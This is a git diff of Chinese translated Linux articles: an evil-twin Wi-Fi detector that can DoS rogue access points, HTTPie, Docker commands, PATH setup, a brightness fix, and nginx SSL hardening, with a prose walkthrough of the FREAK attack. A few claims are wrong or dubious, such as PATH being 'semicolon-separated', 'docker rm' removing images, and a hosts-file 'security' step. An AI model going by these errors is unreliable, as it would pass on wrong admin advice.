+Inkscape是一款特点鲜明的图形编辑工具,它给予用户充分发挥自己艺术能力的权利。它还是一款自由安装和自定义的开源应用,并且支持各种文件类型,包括JPEG, PNG, GIF和PDF及更多。访问它的 [官方网站][2] 来获取更多新闻和应用更新。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/tools/install-inkscape-open-source-vector-graphic-editor/ + +作者:[Aun Raza][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunrz/ +[1]:https://launchpad.net/~inkscape.dev/+archive/ubuntu/stable +[2]:https://inkscape.org/en/ diff --git a/published/201505/20150410 This tool can alert you about evil twin access points in the area.md b/published/201505/20150410 This tool can alert you about evil twin access points in the area.md new file mode 100644 index 0000000000..a43aa8206f --- /dev/null +++ b/published/201505/20150410 This tool can alert you about evil twin access points in the area.md @@ -0,0 +1,41 @@ +EvilAP_Defender:可以警示和攻击 WIFI 热点陷阱的工具 +=============================================================================== + +**开发人员称,EvilAP_Defender甚至可以攻击流氓Wi-Fi接入点** + +这是一个新的开源工具,可以定期扫描一个区域,以防出现恶意 Wi-Fi 接入点,同时如果发现情况会提醒网络管理员。 + +这个工具叫做 EvilAP_Defender,是为监测攻击者所配置的恶意接入点而专门设计的,这些接入点冒用合法的名字诱导用户连接上。 + +这类接入点被称做假面猎手(evil twin),使得黑客们可以从所接入的设备上监听互联网信息流。这可以被用来窃取证书、钓鱼网站等等。 + +大多数用户设置他们的计算机和设备可以自动连接一些无线网络,比如家里的或者工作地方的网络。通常,当面对两个同名的无线网络时,即SSID相同,有时候甚至连MAC地址(BSSID)也相同,这时候大多数设备会自动连接信号较强的一个。 + +这使得假面猎手攻击容易实现,因为SSID和BSSID都可以伪造。 + +[EvilAP_Defender][1]是一个叫Mohamed Idris的人用Python语言编写,公布在GitHub上面。它可以使用一个计算机的无线网卡来发现流氓接入点,这些坏蛋们复制了一个真实接入点的SSID,BSSID,甚至是其他的参数如通道,密码,隐私协议和认证信息等等。 + +该工具首先以学习模式运行,以便发现合法的接入点[AP],并且将其加入白名单。然后可以切换到正常模式,开始扫描未认证的接入点。 + +如果一个恶意[AP]被发现了,该工具会用电子邮件提醒网络管理员,但是开发者也打算在未来加入短信提醒功能。 + +该工具还有一个保护模式,在这种模式下,应用会发起一个denial-of-service [DoS]攻击反抗恶意接入点,为管理员采取防卫措施赢得一些时间。 + +“DoS 将仅仅针对有着相同SSID的而BSSID(AP的MAC地址)不同或者不同信道的流氓 AP,”Idris在这款工具的文档中说道。“这是为了避免攻击到你的正常网络。” + +尽管如此,用户应该切记在许多国家,攻击别人的接入点很多时候都是非法的,甚至是一个看起来像是攻击者操控的恶意接入点。 + +要能够运行这款工具,需要Aircrack-ng无线网套装,一个支持Aircrack-ng的无线网卡,MySQL和Python运行环境。 + +-------------------------------------------------------------------------------- + +via: http://www.infoworld.com/article/2905725/security0/this-tool-can-alert-you-about-evil-twin-access-points-in-the-area.html + +作者:[Lucian Constantin][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.infoworld.com/author/Lucian-Constantin/ +[1]:https://github.com/moha99sa/EvilAP_Defender/blob/master/README.TXT diff --git a/published/201505/20150410 What is a good alternative to wget or curl on Linux.md b/published/201505/20150410 What is a good alternative to wget or curl on Linux.md new file mode 100644 index 0000000000..3af223b631 --- /dev/null +++ b/published/201505/20150410 What is a good alternative to wget or curl on Linux.md @@ -0,0 +1,145 @@ +用腻了 wget 或 curl,有什么更好的替代品吗? +================================================================================ + +如果你经常需要通过终端以非交互模式访问网络服务器(例如,从网络上下载文件,或者是测试 RESTful 网络服务接口),可能你会选择的工具是 wget 或 curl。通过大量的命令行选项,这两种工具都可以处理很多非交互网络访问的情况(比如[这里][1]、[这里][2],还有[这里][3])。然而,即使像这些一样的强大的工具,你也只能发挥你所了解的那些选项的功能。除非你很精通那些繁冗的语法细节,这些工具对于你来说只不过是简单的网络下载器而已。 + +就像其宣传的那样,“给人用 curl 类工具”,[HTTPie][4] 设计用来增强 wget 和 curl 的可用性。它的主要目标是使通过命令行与网络服务器进行交互的过程变得尽可能的人性化。为此,HTTPie 支持具有表现力、但又很简单很直观的语法。它以彩色模式显示响应,并且还有一些不错的优点,比如对 JSON 的良好支持,和持久性会话用以作业流程化。 + +我知道很多人对把像 wget 和 curl 这样的无处不在的、可用的、完美的工具换成完全没听说过的软件心存疑虑。这种观点是好的,特别是如果你是一个系统管理员、要处理很多不同的硬件的话。然而,对于开发者和终端用户来说,重要的是效率。如果我发现了一个工具的用户更佳替代品,那么我认为采用易于使用的版本来节省宝贵的时间是毫无疑问的。没有必要对替换掉的工具保持信仰忠诚。毕竟,对于 Linux 来说,最好的事情就是可以选择。 + +在这篇文章中,让我们来了解并展示一下我所说的 HTTPie,一个用户友好的 wget 和 curl 的替代。 + +![](https://farm8.staticflickr.com/7633/16849137018_bcc7a616fc_b.jpg) + +### 在 Linux 上安装 HTTPie ### + +HTTPie 是用 Python 写的,所以你可以在几乎所有地方(Linux,MacOSX,Windows)安装它。而且,在大多数的 Linux 发行版中都有编译好的安装包。 + +#### Debian,Ubuntu 或者 Linux Mint: #### + + $ sudo apt-get install httpie + +#### Fedora: #### + + $ sudo yum install httpie + +#### CentOS/RHEL: #### + +首先,启用[EPEL 仓库][5],然后运行: + + $ sudo yum install httpie + +对于任何 Linux 发行版,另一个安装方法时使用[pip][6]。 + + $ sudo pip install --upgrade httpie + +### HTTPie 的例子 ### + +当你安装完 HTTPie 后,你可以通过输入 http 命令来调用它。在这篇文章的剩余部分,我会展示几个有用的 http 命令的例子。 + +#### 例1:定制头部 #### + +你可以使用 <header:value> 的格式来定制头部。例如,我们发送一个 HTTP GET 请求到 www.test.com ,使用定制用户代理(user-agent)和来源(referer),还有定制头部(比如 MyParam)。 + + $ http www.test.com User-Agent:Xmodulo/1.0 Referer:http://xmodulo.com MyParam:Foo + +注意到当使用 HTTP GET 方法时,就无需明确指定 HTTP 方法。 + +这个 HTTP 请求看起来如下: + + GET / HTTP/1.1 + Host: www.test.com + Accept: */* + Referer: http://xmodulo.com + Accept-Encoding: gzip, deflate, compress + MyParam: Foo + User-Agent: Xmodulo/1.0 + +#### 例2:下载文件 #### + +你可以把 http 作为文件下载器来使用。你需要像下面一样把输出重定向到文件。 + + $ http www.test.com/my_file.zip > my_file.zip + +或者: + + $ http --download www.test.com/my_file.zip + +#### 例3:定制 HTTP 方法 #### + +除了默认的 GET 方法,你还可以使用其他方法(比如 PUT,POST,HEAD)。例如,发送一个 HTTP PUT 请求: + + $ http PUT www.test.com name='Dan Nanni' email=dan@email.com + +#### 例4:提交表单 #### + +使用 http 命令提交表单很容易,如下: + + $ http -f POST www.test.com name='Dan Nanni' comment='Hi there' + +'-f' 选项使 http 命令序列化数据字段,并将 'Content-Type' 设置为 "application/x-www-form-urlencoded; charset=utf-8"。 + +这个 HTTP POST 请求看起来如下: + + POST / HTTP/1.1 + Host: www.test.com + Content-Length: 31 + Content-Type: application/x-www-form-urlencoded; charset=utf-8 + Accept-Encoding: gzip, deflate, compress + Accept: */* + User-Agent: HTTPie/0.8.0 + + name=Dan+Nanni&comment=Hi+there + +####例5:JSON 支持 + +HTTPie 内置 JSON(一种日渐普及的数据交换格式)支持。事实上,HTTPie 默认使用的内容类型(content-type)就是 JSON。因此,当你不指定内容类型发送数据字段时,它们会自动序列化为 JSON 对象。 + + $ http POST www.test.com name='Dan Nanni' comment='Hi there' + +这个 HTTP POST 请求看起来如下: + + POST / HTTP/1.1 + Host: www.test.com + Content-Length: 44 + Content-Type: application/json; charset=utf-8 + Accept-Encoding: gzip, deflate, compress + Accept: application/json + User-Agent: HTTPie/0.8.0 + + {"name": "Dan Nanni", "comment": "Hi there"} + +#### 例6:输出重定向 #### + +HTTPie 的另外一个用户友好特性是输入重定向,你可以使用缓冲数据提供 HTTP 请求内容。例如: + + $ http POST api.test.com/db/lookup < my_info.json + +或者: + + $ echo '{"name": "Dan Nanni"}' | http POST api.test.com/db/lookup + +### 结束语 ### + +在这篇文章中,我介绍了 HTTPie,一个 wget 和 curl 的可能替代工具。除了这里展示的几个简单的例子,你可以在其[官方网站][7]上找到 HTTPie 的很多有趣的应用。再次重复一遍,一款再强大的工具也取决于你对它的了解程度。从个人而言,我更倾向于 HTTPie,因为我在寻找一种更简洁的测试复杂网络接口的方法。 + +你怎么看? + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/wget-curl-alternative-linux.html + +作者:[Dan Nanni][a] +译者:[wangjiezhe](https://github.com/wangjiezhe) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://xmodulo.com/how-to-download-multiple-files-with-wget.html +[2]:http://xmodulo.com/how-to-use-custom-http-headers-with-wget.html +[3]:https://linux.cn/article-4957-1.html +[4]:https://github.com/jakubroztocil/httpie +[5]:https://linux.cn/article-2324-1.html +[6]:http://ask.xmodulo.com/install-pip-linux.html +[7]:https://github.com/jakubroztocil/httpie diff --git a/published/201505/20150413 A Walk Through Some Important Docker Commands.md b/published/201505/20150413 A Walk Through Some Important Docker Commands.md new file mode 100644 index 0000000000..d58dda2d54 --- /dev/null +++ b/published/201505/20150413 A Walk Through Some Important Docker Commands.md @@ -0,0 +1,106 @@ +一些重要 Docker 命令的简单介绍 +================================================================================ +大家好,今天我们来学习一些在你使用 Docker 之前需要了解的重要的 Docker 命令。[Docker][1] 是一个开源项目,提供了一个可以打包、装载和运行任何应用的轻量级容器的开放平台。它没有语言支持、框架和打包系统的限制,从小型的家用电脑到高端服务器,在何时何地都可以运行。这使它们可以不依赖于特定软件栈和供应商,像一块块积木一样部署和扩展网络应用、数据库和后端服务。 + +Docker 命令简单易学,也很容易实现或实践。这是一些你运行 Docker 并充分利用它需要知道的简单 Docker 命令。 + +### 1. 拉取 Docker 镜像 ### + +由于容器是由 Docker 镜像构建的,首先我们需要拉取一个 docker 镜像来开始。我们可以从 Docker Registry Hub 获取所需的 docker 镜像。在我们使用 pull 命令拉取任何镜像之前,为了避免 pull 命令的一些恶意风险,我们需要保护我们的系统。为了保护我们的系统不受这个风险影响,我们需要添加 **127.0.0.1 index.docker.io** 到 /etc/hosts 条目。我们可以通过使用喜欢的文本编辑器完成。 + + # nano /etc/hosts + +现在,增加下面的一行到文件并保存退出。 + + 127.0.0.1 index.docker.io + +![Docker 宿主机](http://blog.linoxide.com/wp-content/uploads/2015/04/docker-hosts.png) + +要拉取一个 docker 镜像,我们需要运行下面的命令。 + + # docker pull registry.hub.docker.com/busybox + +![Docker pull 命令](http://blog.linoxide.com/wp-content/uploads/2015/04/pulling-image.png) + +我们可以检查本地是否有可用的 Docker 镜像。 + + # docker images + +![Docker 镜像](http://blog.linoxide.com/wp-content/uploads/2015/04/docker-images.png) + +### 2. 运行 Docker 容器 ### + +现在,成功地拉取要求的或所需的 Docker 镜像之后,我们当然想运行这个 Docker 镜像。我们可以用 docker run 命令在镜像上运行一个 docker 容器。在 Docker 镜像上运行一个 docker 容器时我们有很多选项和标记。我们使用 -t 和 -i 选项来运行一个 docker 镜像并进入容器,如下面所示。 + + # docker run -it busybox + +![Docker Run Shell 命令](http://blog.linoxide.com/wp-content/uploads/2015/04/docker-run-shell.png) + +从上面的命令中,我们进入了容器并可以通过交互 shell 访问它的内容。我们可以键入 **Ctrl-D** 从shell中退出。 + +现在,在后台运行容器,我们用 -d 标记分离 shell,如下所示。 + + # docker run -itd busybox + +![后台运行容器](http://blog.linoxide.com/wp-content/uploads/2015/04/run-container-background.png) + +如果你想进入到一个正在运行的容器,我们可以使用 attach 命令加一个容器 id。可以使用 **docker ps** 命令获取容器 id。 + + # docker attach + +![进入Docker](http://blog.linoxide.com/wp-content/uploads/2015/04/docker-attach.png) + +### 3. 检查容器运行 ### + +不论容器是否运行,查看日志文件都很简单。我们可以使用下面的命令去检查是否有 docker 容器在实时运行。 + + # docker ps + +现在,查看正在运行的或者之前运行的容器的日志,我们需要运行以下的命令。 + + # docker ps -a + +![查看 Docker 容器](http://blog.linoxide.com/wp-content/uploads/2015/04/view-docker-containers1.png) + +### 4. 查看容器信息 ### + +我们可以使用 inspect 命令查看一个 Docker 容器的各种信息。 + + # docker inspect + +![检查Docker](http://blog.linoxide.com/wp-content/uploads/2015/04/docker-inspect.png) + +### 5. 杀死或删除 ### + +我们可以使用容器 id 杀死或者停止 docker 容器(进程),如下所示。 + + # docker stop + +要停止每个正在运行的容器,我们需要运行下面的命令。 + + # docker kill $(docker ps -q) + +现在,如我我们希望移除一个 docker 镜像,运行下面的命令。 + + # docker rm + +如果我们想一次性移除所有 docker 镜像,我们可以运行以下命令。 + + # docker rm $(docker ps -aq) + +### 结论 ### + +这些都是充分学习和使用 Docker 很基本的 docker 命令。有了这些命令,Docker 变得很简单,可以提供给最终用户一个易用的计算平台。根据上面的教程,任何人学习 Docker 命令都非常简单。如果你有任何问题,建议,反馈,请写到下面的评论框中以便我们改进和更新内容。多谢! 希望你喜欢 :-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/important-docker-commands/ + +作者:[Arun Pyasi][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:https://www.docker.com/ \ No newline at end of file diff --git a/published/201505/20150413 Linux FAQs with Answers--How to change PATH environment variable on Linux.md b/published/201505/20150413 Linux FAQs with Answers--How to change PATH environment variable on Linux.md new file mode 100644 index 0000000000..321ce4b2d3 --- /dev/null +++ b/published/201505/20150413 Linux FAQs with Answers--How to change PATH environment variable on Linux.md @@ -0,0 +1,73 @@ +Linux有问必答:如何在Linux中修改环境变量PATH +================================================================================ +> **提问**: 当我试着运行一个程序时,它提示“command not found”。 但这个程序就在/usr/local/bin下。我该如何添加/usr/local/bin到我的PATH变量下,这样我就可以不用指定路径来运行这个命令了。 + +在Linux中,PATH环境变量保存了一系列的目录用于用户在输入的时候搜索命令。PATH变量的值由一系列的由分号分隔的绝对路径组成。每个用户都有特定的PATH环境变量(由系统级的PATH变量初始化)。 + +要检查用户的环境变量,用户模式下运行下面的命令: + + $ echo $PATH + +---------- + + /usr/lib64/qt-3.3/bin:/bin:/usr/bin:/usr/sbin:/sbin:/home/xmodulo/bin + +或者运行: + + $ env | grep PATH + +---------- + + PATH=/usr/lib64/qt-3.3/bin:/bin:/usr/bin:/usr/sbin:/sbin:/home/xmodulo/bin + +如果你的命令不存在于上面任何一个目录内,shell就会抛出一个错误信息:“command not found”。 + +如果你想要添加一个另外的目录(比如:/usr/local/bin)到你的PATH变量中,你可以用下面这些命令。 + +### 为特定用户修改PATH环境变量 ### + +如果你只想在当前的登录会话中临时地添加一个新的目录(比如:/usr/local/bin)给用户的默认搜索路径,你只需要输入下面的命令。 + + $ PATH=$PATH:/usr/local/bin + +检查PATH是否已经更新: + + $ echo $PATH + +---------- + + /usr/lib64/qt-3.3/bin:/bin:/usr/bin:/usr/sbin:/sbin:/home/xmodulo/bin:/usr/local/bin + +更新后的PATH会在当前的会话一直有效。然而,更改将在新的会话中失效。 + +如果你想要永久更改PATH变量,用编辑器打开~/.bashrc (或者 ~/.bash_profile),接着在最后添加下面这行。 + + export PATH=$PATH:/usr/local/bin + +接着运行下面这行永久激活更改: + + $ source ~/.bashrc (或者 source ~/.bash_profile) + +### 改变系统级的环境变量 ### + +如果你想要永久添加/usr/local/bin到系统级的PATH变量中,像下面这样编辑/etc/profile。 + + $ sudo vi /etc/profile + +---------- + + export PATH=$PATH:/usr/local/bin + +你重新登录后,更新的环境变量就会生效了。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/change-path-environment-variable-linux.html + +作者:[Dan Nanni][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni diff --git a/published/201505/20150413 [Solved] Ubuntu Does Not Remember Brightness Settings.md b/published/201505/20150413 [Solved] Ubuntu Does Not Remember Brightness Settings.md new file mode 100644 index 0000000000..d0248ff2c2 --- /dev/null +++ b/published/201505/20150413 [Solved] Ubuntu Does Not Remember Brightness Settings.md @@ -0,0 +1,32 @@ +如何解决 Ubuntu 下不能记住亮度设置的问题 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/04/Fix_Ubuntu_Brightness_Issue.jpg) + +在[解决亮度控制在Ubuntu和Linux Mint下不工作的问题][1]这篇教程里,一些用户提到虽然问题已经得到解决,但是**Ubuntu无法记住亮度设置**,同样的情况在Linux Mint下也会发生。每次开机或从睡眠状态下唤醒,亮度会恢复至最大值或最小值。我知道这种情况很烦。不过幸好我们有很简单的方法来解决**Ubuntu和Linux Mint下的亮度问题**。 + +### 解决Ubuntu和Linux下不能记住亮度设置 ### + +[Norbert][2]写了一个脚本,能让Ubuntu和Linux Mint记住亮度设置,不论是开机还是唤醒之后。为了能让你使用这个脚本更简单方便,他把这个适用于Ubuntu 12.04、14.04和14.10的PPA挂在了网上。你需要做的就是输入以下命令: + + sudo add-apt-repository ppa:nrbrtx/sysvinit-backlight + sudo apt-get update + sudo apt-get install sysvinit-backlight + +安装好之后,重启你的系统。现在就来看看亮度设置有没有被保存下来吧。 + +希望这篇小贴士能帮助到你。如果你有任何问题,就[来这儿][3]提bug吧。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/ubuntu-mint-brightness-settings/ + +作者:[Abhishek][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://itsfoss.com/fix-brightness-ubuntu-1310/ +[2]:https://launchpad.net/~nrbrtx/+archive/ubuntu/sysvinit-backlight/+packages +[3]:https://launchpad.net/~nrbrtx/+archive/ubuntu/sysvinit-backlight/+packages diff --git a/published/201505/20150415 Strong SSL Security on nginx.md b/published/201505/20150415 Strong SSL Security on nginx.md new file mode 100644 index 0000000000..094c50bd37 --- /dev/null +++ b/published/201505/20150415 Strong SSL Security on nginx.md @@ -0,0 +1,290 @@ +增强 nginx 的 SSL 安全性 +================================================================================ +[![](https://raymii.org/s/inc/img/ssl-labs-a.png)][1] + +本文向你介绍如何在 nginx 服务器上设置健壮的 SSL 安全机制。我们通过禁用 SSL 压缩来降低 CRIME 攻击威胁;禁用协议上存在安全缺陷的 SSLv3 及更低版本,并设置更健壮的加密套件(cipher suite)来尽可能启用前向安全性(Forward Secrecy);此外,我们还启用了 HSTS 和 HPKP。这样我们就拥有了一个健壮而可经受考验的 SSL 配置,并可以在 Qually Labs 的 SSL 测试中得到 A 级评分。 + +如果不求甚解的话,可以从 [https://cipherli.st][2] 上找到 nginx 、Apache 和 Lighttpd 的安全设置,复制粘帖即可。 + +本教程在 Digital Ocean 的 VPS 上测试通过。如果你喜欢这篇教程,想要支持作者的站点的话,购买 Digital Ocean 的 VPS 时请使用如下链接:[https://www.digitalocean.com/?refcode=7435ae6b8212][3] 。 + +本教程可以通过[发布于 2014/1/21 的][4] SSL 实验室测试的严格要求(我之前就通过了测试,如果你按照本文操作就可以得到一个 A+ 评分)。 + +- [本教程也可用于 Apache ][5] +- [本教程也可用于 Lighttpd ][6] +- [本教程也可用于 FreeBSD, NetBSD 和 OpenBSD 上的 nginx ,放在 BSD Now 播客上][7]: [http://www.bsdnow.tv/tutorials/nginx][8] + +你可以从下列链接中找到这方面的进一步内容: + +- [野兽攻击(BEAST)][9] +- [罪恶攻击(CRIME)][10] +- [怪物攻击(FREAK )][11] +- [心血漏洞(Heartbleed)][12] +- [完备的前向安全性(Perfect Forward Secrecy)][13] +- [RC4 和 BEAST 的处理][14] + +我们需要编辑 nginx 的配置,在 Ubuntu/Debian 上是 `/etc/nginx/sited-enabled/yoursite.com`,在 RHEL/CentOS 上是 `/etc/nginx/conf.d/nginx.conf`。 + +本文中,我们需要编辑443端口(SSL)的 `server` 配置中的部分。在文末你可以看到完整的配置例子。 + +*在编辑之前切记备份一下配置文件!* + +### 野兽攻击(BEAST)和 RC4 ### + +简单的说,野兽攻击(BEAST)就是通过篡改一个加密算法的 CBC(密码块链)的模式,从而可以对部分编码流量悄悄解码。更多信息参照上面的链接。 + +针对野兽攻击(BEAST),较新的浏览器已经启用了客户端缓解方案。推荐方案是禁用 TLS 1.0 的所有加密算法,仅允许 RC4 算法。然而,[针对 RC4 算法的攻击也越来越多](http://www.isg.rhul.ac.uk/tls/) ,很多已经从理论上逐步发展为实际可行的攻击方式。此外,有理由相信 NSA 已经实现了他们所谓的“大突破”——攻破 RC4 。 + +禁用 RC4 会有几个后果。其一,当用户使用老旧的浏览器时,比如 Windows XP 上的 IE 会用 3DES 来替代 RC4。3DES 要比 RC4 更安全,但是它的计算成本更高,你的服务器就需要为这些用户付出更多的处理成本。其二,RC4 算法能减轻 野兽攻击(BEAST)的危害,如果禁用 RC4 会导致 TLS 1.0 用户会换到更容易受攻击的 AES-CBC 算法上(通常服务器端的对野兽攻击(BEAST)的“修复方法”是让 RC4 优先于其它算法)。我认为 RC4 的风险要高于野兽攻击(BEAST)的风险。事实上,有了客户端缓解方案(Chrome 和 Firefox 提供了缓解方案),野兽攻击(BEAST)就不是什么大问题了。而 RC4 的风险却在增长:随着时间推移,对加密算法的破解会越来越多。 + +### 怪物攻击(FREAK) ### + +怪物攻击(FREAK)是一种中间人攻击,它是由来自 [INRIA、微软研究院和 IMDEA][15] 的密码学家们所发现的。怪物攻击(FREAK)的缩写来自“Factoring RSA-EXPORT Keys(RSA 出口密钥因子分解)” + +这个漏洞可上溯到上世纪九十年代,当时美国政府禁止出口加密软件,除非其使用编码密钥长度不超过512位的出口加密套件。 + +这造成了一些现在的 TLS 客户端存在一个缺陷,这些客户端包括: 苹果的 SecureTransport 、OpenSSL。这个缺陷会导致它们会接受出口降级 RSA 密钥,即便客户端并没有要求使用出口降级 RSA 密钥。这个缺陷带来的影响很讨厌:在客户端存在缺陷,且服务器支持出口降级 RSA 密钥时,会发生中间人攻击,从而导致连接的强度降低。 + +攻击分为两个组成部分:首先是服务器必须接受“出口降级 RSA 密钥”。 + +中间人攻击可以按如下流程: + +- 在客户端的 Hello 消息中,要求标准的 RSA 加密套件。 +- 中间人攻击者修改该消息为‘export RSA’(输出级 RSA 密钥)。 +- 服务器回应一个512位的输出级 RSA 密钥,并以其长期密钥签名。 +- 由于 OpenSSL/SecureTransport 的缺陷,客户端会接受这个弱密钥。 +- 攻击者根据 RSA 模数分解因子来恢复相应的 RSA 解密密钥。 +- 当客户端编码‘pre-master secret’(预主密码)给服务器时,攻击者现在就可以解码它并恢复 TLS 的‘master secret’(主密码)。 +- 从这里开始,攻击者就能看到了传输的明文并注入任何东西了。 + +本文所提供的加密套件不启用输出降级加密,请确认你的 OpenSSL 是最新的,也强烈建议你将客户端也升级到新的版本。 + +### 心血漏洞(Heartbleed) ### + +心血漏洞(Heartbleed) 是一个于2014年4月公布的 OpenSSL 加密库的漏洞,它是一个被广泛使用的传输层安全(TLS)协议的实现。无论是服务器端还是客户端在 TLS 中使用了有缺陷的 OpenSSL,都可以被利用该缺陷。由于它是因 DTLS 心跳扩展(RFC 6520)中的输入验证不正确(缺少了边界检查)而导致的,所以该漏洞根据“心跳”而命名。这个漏洞是一种缓存区超读漏洞,它可以读取到本不应该读取的数据。 + +哪个版本的 OpenSSL 受到心血漏洞(Heartbleed)的影响? + +各版本情况如下: + +- OpenSSL 1.0.1 直到 1.0.1f (包括)**存在**该缺陷 +- OpenSSL 1.0.1g **没有**该缺陷 +- OpenSSL 1.0.0 分支**没有**该缺陷 +- OpenSSL 0.9.8 分支**没有**该缺陷 + +这个缺陷是2011年12月引入到 OpenSSL 中的,并随着 2012年3月14日 OpenSSL 发布的 1.0.1 而泛滥。2014年4月7日发布的 OpenSSL 1.0.1g 修复了该漏洞。 + +升级你的 OpenSSL 就可以避免该缺陷。 + +### SSL 压缩(罪恶攻击 CRIME) ### + +罪恶攻击(CRIME)使用 SSL 压缩来完成它的魔法,SSL 压缩在下述版本是默认关闭的: nginx 1.1.6及更高/1.0.9及更高(如果使用了 OpenSSL 1.0.0及更高), nginx 1.3.2及更高/1.2.2及更高(如果使用较旧版本的 OpenSSL)。 + +如果你使用一个早期版本的 nginx 或 OpenSSL,而且你的发行版没有向后移植该选项,那么你需要重新编译没有一个 ZLIB 支持的 OpenSSL。这会禁止 OpenSSL 使用 DEFLATE 压缩方式。如果你禁用了这个,你仍然可以使用常规的 HTML DEFLATE 压缩。 + +### SSLv2 和 SSLv3 ### + +SSLv2 是不安全的,所以我们需要禁用它。我们也禁用 SSLv3,因为 TLS 1.0 在遭受到降级攻击时,会允许攻击者强制连接使用 SSLv3,从而禁用了前向安全性(forward secrecy)。 + +如下编辑配置文件: + + ssl_protocols TLSv1 TLSv1.1 TLSv1.2; + +### 卷毛狗攻击(POODLE)和 TLS-FALLBACK-SCSV ### + +SSLv3 会受到[卷毛狗漏洞(POODLE)][16]的攻击。这是禁用 SSLv3 的主要原因之一。 + +Google 提出了一个名为 [TLS\_FALLBACK\_SCSV][17] 的SSL/TLS 扩展,它用于防止强制 SSL 降级。如果你升级 到下述的 OpenSSL 版本会自动启用它。 + +- OpenSSL 1.0.1 带有 TLS\_FALLBACK\_SCSV 1.0.1j 及更高。 +- OpenSSL 1.0.0 带有 TLS\_FALLBACK\_SCSV 1.0.0o 及更高。 +- OpenSSL 0.9.8 带有 TLS\_FALLBACK\_SCSV 0.9.8zc 及更高。 + +[更多信息请参照 NGINX 文档][18]。 + +### 加密套件(cipher suite) ### + +前向安全性(Forward Secrecy)用于在长期密钥被破解时确保会话密钥的完整性。PFS(完备的前向安全性)是指强制在每个/每次会话中推导新的密钥。 + +这就是说,泄露的私钥并不能用来解密(之前)记录下来的 SSL 通讯。 + +提供PFS(完备的前向安全性)功能的是那些使用了一种 Diffie-Hellman 密钥交换的短暂形式的加密套件。它们的缺点是系统开销较大,不过可以使用椭圆曲线的变体来改进。 + +以下两个加密套件是我推荐的,之后[Mozilla 基金会][19]也推荐了。 + +推荐的加密套件: + + ssl_ciphers 'AES128+EECDH:AES128+EDH'; + +向后兼容的推荐的加密套件(IE6/WinXP): + + ssl_ciphers "ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!MD5:!PSK:!RC4"; + +如果你的 OpenSSL 版本比较旧,不可用的加密算法会自动丢弃。应该一直使用上述的完整套件,让 OpenSSL 选择一个它所支持的。 + +加密套件的顺序是非常重要的,因为其决定了优先选择哪个算法。上述优先推荐的算法中提供了PFS(完备的前向安全性)。 + +较旧版本的 OpenSSL 也许不能支持这个算法的完整列表,AES-GCM 和一些 ECDHE 算法是相当新的,在 Ubuntu 和 RHEL 中所带的绝大多数 OpenSSL 版本中不支持。 + +#### 优先顺序的逻辑 #### + +- ECDHE+AESGCM 加密是首选的。它们是 TLS 1.2 加密算法,现在还没有广泛支持。当前还没有对它们的已知攻击。 +- PFS 加密套件好一些,首选 ECDHE,然后是 DHE。 +- AES 128 要好于 AES 256。有一个关于 AES256 带来的安全提升程度是否值回成本的[讨论][20],结果是显而易见的。目前,AES128 要更值一些,因为它提供了不错的安全水准,确实很快,而且看起来对时序攻击更有抵抗力。 +- 在向后兼容的加密套件里面,AES 要优于 3DES。在 TLS 1.1及其以上,减轻了针对 AES 的野兽攻击(BEAST)的威胁,而在 TLS 1.0上则难以实现该攻击。在非向后兼容的加密套件里面,不支持 3DES。 +- RC4 整个不支持了。3DES 用于向后兼容。参看 [#RC4\_weaknesses][21] 中的讨论。 + +#### 强制丢弃的算法 #### + +- aNULL 包含了非验证的 Diffie-Hellman 密钥交换,这会受到中间人(MITM)攻击 +- eNULL 包含了无加密的算法(明文) +- EXPORT 是老旧的弱加密算法,是被美国法律标示为可出口的 +- RC4 包含的加密算法使用了已弃用的 ARCFOUR 算法 +- DES 包含的加密算法使用了弃用的数据加密标准(DES) +- SSLv2 包含了定义在旧版本 SSL 标准中的所有算法,现已弃用 +- MD5 包含了使用已弃用的 MD5 作为哈希算法的所有算法 + +### 更多设置 ### + +确保你也添加了如下行: + + ssl_prefer_server_ciphers on; + ssl_session_cache shared:SSL:10m; + +在一个 SSLv3 或 TLSv1 握手过程中选择一个加密算法时,一般使用客户端的首选算法。如果设置了上述配置,则会替代地使用服务器端的首选算法。 + 